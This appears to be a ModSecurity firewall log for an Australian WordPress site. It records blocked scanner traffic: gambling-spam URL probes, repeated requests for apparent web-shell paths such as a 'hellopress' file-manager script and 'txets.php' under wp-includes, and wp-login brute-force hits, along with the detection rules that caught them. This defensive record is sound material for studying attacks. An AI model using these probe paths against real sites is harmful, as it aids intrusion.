[Wed Feb 25 21:48:51.301841 2026] [:error] [pid 5556:tid 5600] [client 65.108.2.171:25518] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZ79w6OrYeaTyh7lGRWAggAAAc0"]
[Wed Feb 25 21:48:53.726142 2026] [:error] [pid 5556:tid 5601] [client 65.108.2.171:25524] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ79xaOrYeaTyh7lGRWAkwAAAc4"]
[Wed Feb 25 21:48:56.259195 2026] [:error] [pid 5556:tid 5591] [client 65.108.2.171:47876] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ79yKOrYeaTyh7lGRWApwAAAcQ"]
[Wed Feb 25 21:48:58.727091 2026] [:error] [pid 60500:tid 60588] [client 65.108.2.171:47886] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZ79yvY9avxuno9KAT9cCQAAA0Y"]
[Wed Feb 25 21:49:01.176849 2026] [:error] [pid 60500:tid 60592] [client 65.108.2.171:47898] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZ79zfY9avxuno9KAT9cFAAAA0k"]
[Wed Feb 25 21:49:03.624486 2026] [:error] [pid 5556:tid 5598] [client 65.108.2.171:47910] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZ79z6OrYeaTyh7lGRWAuAAAAcs"]
[Wed Feb 25 21:49:06.076094 2026] [:error] [pid 5556:tid 5596] [client 65.108.2.171:41578] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ790qOrYeaTyh7lGRWAvgAAAck"]
[Wed Feb 25 21:49:08.633881 2026] [:error] [pid 20659:tid 20705] [client 65.108.2.171:41580] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ791D_THK_HtK-Q44I9qQAAAEo"]
[Wed Feb 25 21:49:11.043732 2026] [:error] [pid 5556:tid 5599] [client 65.108.2.171:41584] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ7916OrYeaTyh7lGRWAxwAAAcw"]
[Wed Feb 25 21:49:13.512702 2026] [:error] [pid 20763:tid 20773] [client 65.108.2.171:41594] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZ792U0w_zc13OX-xiYpLgAAAMg"]
[Wed Feb 25 21:49:16.188185 2026] [:error] [pid 60498:tid 60509] [client 65.108.2.171:9506] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZ793CFCVhQ3ffus0uI9awAAAsQ"]
[Wed Feb 25 21:49:18.733725 2026] [:error] [pid 60500:tid 60592] [client 65.108.2.171:9522] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ793vY9avxuno9KAT9cNAAAA0k"]
[Wed Feb 25 21:49:21.309304 2026] [:error] [pid 20659:tid 20696] [client 65.108.2.171:9536] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ794T_THK_HtK-Q44I9sgAAAEE"]
[Wed Feb 25 21:49:23.952951 2026] [:error] [pid 60498:tid 60527] [client 65.108.2.171:9540] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ794yFCVhQ3ffus0uI9dgAAAtY"]
[Wed Feb 25 21:49:26.420218 2026] [:error] [pid 37809:tid 37814] [client 65.108.2.171:62362] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ795iIC419p2bqBCnCVZQAAAIM"]
[Wed Feb 25 21:49:28.885358 2026] [:error] [pid 5556:tid 5594] [client 65.108.2.171:62376] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ796KOrYeaTyh7lGRWA2QAAAcc"]
[Wed Feb 25 21:49:31.273913 2026] [:error] [pid 20659:tid 20697] [client 65.108.2.171:62382] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ796z_THK_HtK-Q44I9xwAAAEI"]
[Wed Feb 25 21:49:33.669280 2026] [:error] [pid 20659:tid 20700] [client 65.108.2.171:62388] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ797T_THK_HtK-Q44I90AAAAEU"]
[Wed Feb 25 21:49:36.119040 2026] [:error] [pid 5556:tid 5602] [client 65.108.2.171:14268] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ798KOrYeaTyh7lGRWA6wAAAc8"]
[Wed Feb 25 21:49:38.652709 2026] [:error] [pid 60498:tid 60525] [client 65.108.2.171:14280] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ798iFCVhQ3ffus0uI9gQAAAtQ"]
[Wed Feb 25 21:49:41.054237 2026] [:error] [pid 20659:tid 20713] [client 65.108.2.171:14286] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ799T_THK_HtK-Q44I92AAAAFI"]
[Wed Feb 25 21:52:36.749566 2026] [:error] [pid 20658:tid 20686] [client 65.108.2.171:53876] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ7-pOu8cohhPfsAIFkB9gAAABM"]
[Wed Feb 25 21:52:39.278297 2026] [:error] [pid 60498:tid 60522] [client 65.108.2.171:53880] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ7-pyFCVhQ3ffus0uI99QAAAtE"]
[Wed Feb 25 22:15:24.849912 2026] [:error] [pid 60387:tid 60480] [client 43.157.180.116:35098] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ8D_IHL0QH7Sr13X0KgMwAAAog"]
[Wed Feb 25 22:27:14.118947 2026] [:error] [pid 5556:tid 5590] [client 4.204.200.32:39930] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ8GwqOrYeaTyh7lGRWcOAAAAcM"]
[Wed Feb 25 22:27:15.256550 2026] [:error] [pid 60387:tid 60485] [client 4.204.200.32:39876] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ8Gw4HL0QH7Sr13X0KlMwAAAo0"]
[Wed Feb 25 22:27:16.685017 2026] [:error] [pid 20763:tid 20769] [client 4.204.200.32:39899] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ8GxE0w_zc13OX-xiYqzwAAAMQ"]
[Wed Feb 25 22:27:17.387953 2026] [:error] [pid 5619:tid 5649] [client 4.204.200.32:39896] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ8GxZFUzdv-0L_F4ftdBwAAAg4"]
[Wed Feb 25 22:44:12.745999 2026] [:error] [pid 20763:tid 20773] [client 64.111.22.172:34666] [client 64.111.22.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.111.22.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ8KvE0w_zc13OX-xiYrkQAAAMg"]
[Wed Feb 25 22:48:38.001406 2026] [:error] [pid 60498:tid 60508] [client 182.44.2.148:47089] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ8LxSFCVhQ3ffus0uJHmgAAAsM"]
[Thu Feb 26 00:01:07.469581 2026] [:error] [pid 20659:tid 20710] [client 45.94.31.242:57230] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aZ8cwz_THK_HtK-Q44JeQAAAAE8"]
[Thu Feb 26 00:01:08.696737 2026] [:error] [pid 60498:tid 60516] [client 45.94.31.242:53595] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aZ8cxCFCVhQ3ffus0uJULwAAAss"]
[Thu Feb 26 00:01:09.740576 2026] [:error] [pid 60387:tid 60490] [client 45.94.31.242:50127] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aZ8cxYHL0QH7Sr13X0K_9QAAApI"]
[Thu Feb 26 00:01:13.093035 2026] [:error] [pid 60387:tid 60484] [client 45.94.31.242:61579] [client 45.94.31.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aZ8cyYHL0QH7Sr13X0K_9wAAAow"]
[Thu Feb 26 00:27:44.070116 2026] [:error] [pid 49770:tid 49850] [client 142.93.218.83:45978] [client 142.93.218.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.218.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ8jAC7xhdZV4TFeNysZuwAAAJg"]
[Thu Feb 26 00:45:35.594964 2026] [:error] [pid 49555:tid 49670] [client 51.210.190.32:57802] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.190.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ8nL9w3_NsD2xC15YbD9gAAAEk"]
[Thu Feb 26 01:17:44.355040 2026] [:error] [pid 49770:tid 49842] [client 178.170.47.144:42772] [client 178.170.47.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.170.47.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ8uuC7xhdZV4TFeNytC_QAAAJA"]
[Thu Feb 26 01:41:39.997435 2026] [:error] [pid 49770:tid 49837] [client 188.130.26.65:45220] [client 188.130.26.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.26.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ80Uy7xhdZV4TFeNytYCAAAAIs"]
[Thu Feb 26 02:00:28.501422 2026] [:error] [pid 49770:tid 49846] [client 217.154.5.38:57260] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.5.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ84vC7xhdZV4TFeNytj9QAAAJQ"]
[Thu Feb 26 02:04:01.512632 2026] [:error] [pid 49555:tid 49662] [client 51.68.188.254:41180] [client 51.68.188.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.68.188.254, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ85kdw3_NsD2xC15YbwBQAAAEU"]
[Thu Feb 26 02:26:44.188940 2026] [:error] [pid 49770:tid 49826] [client 43.165.65.180:45234] [client 43.165.65.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ8-5C7xhdZV4TFeNyt5jwAAAIA"]
[Thu Feb 26 03:21:45.176284 2026] [:error] [pid 42714:tid 42760] [client 35.234.37.132:37146] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.234.37.132, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ9LyUQQVhM0bD4pOiQI6QAAAE4"]
[Thu Feb 26 04:08:43.497872 2026] [:error] [pid 9702:tid 9727] [client 139.162.53.182:43516] [client 139.162.53.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.162.53.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ9Wy5vL1wp7EOGdesweQwAAANU"]
[Thu Feb 26 04:37:38.249700 2026] [:error] [pid 9588:tid 9639] [client 20.163.27.0:33272] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.163.27.0, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ9dkuSfsVC0YxizsTu1eAAAAE0"]
[Thu Feb 26 05:14:21.824012 2026] [:error] [pid 9587:tid 9621] [client 182.42.111.213:41732] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ9mLfiLfyuakov_VlAuBAAAABg"]
[Thu Feb 26 05:27:27.318132 2026] [:error] [pid 6071:tid 6088] [client 20.151.114.166:13007] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ9pP4QfAzdrpgft075TgwAAAQ4"]
[Thu Feb 26 05:27:27.739783 2026] [:error] [pid 9587:tid 9602] [client 20.151.114.166:13014] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ9pP_iLfyuakov_VlAyowAAAAU"]
[Thu Feb 26 05:27:28.168614 2026] [:error] [pid 17651:tid 17664] [client 20.151.114.166:13250] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ9pQJ5mQDz5cec8gk4xogAAAUs"]
[Thu Feb 26 05:27:28.591823 2026] [:error] [pid 9587:tid 9604] [client 20.151.114.166:13022] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZ9pQPiLfyuakov_VlAypwAAAAc"]
[Thu Feb 26 06:31:15.995313 2026] [:error] [pid 17651:tid 17665] [client 45.56.121.237:54860] [client 45.56.121.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.56.121.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ94M55mQDz5cec8gk5ERwAAAUw"]
[Thu Feb 26 07:31:48.457090 2026] [:error] [pid 55051:tid 55076] [client 68.178.164.217:43024] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.164.217, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ-GZAmK1w2kZvh5eLGU5gAAAJY"]
[Thu Feb 26 08:24:13.066265 2026] [:error] [pid 55618:tid 55623] [client 206.81.24.246:40688] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.81.24.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ-SrR61Vrh12f_8oWTkSgAAAQI"]
[Thu Feb 26 09:43:27.794146 2026] [:error] [pid 55618:tid 55644] [client 80.232.222.215:56500] [client 80.232.222.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.232.222.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ-lPx61Vrh12f_8oWQZIgAAARc"]
[Thu Feb 26 10:10:42.801333 2026] [:error] [pid 25311:tid 25318] [client 51.75.119.154:46620] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ-rotfdM__yZAgJFSsvFwAAAYQ"]
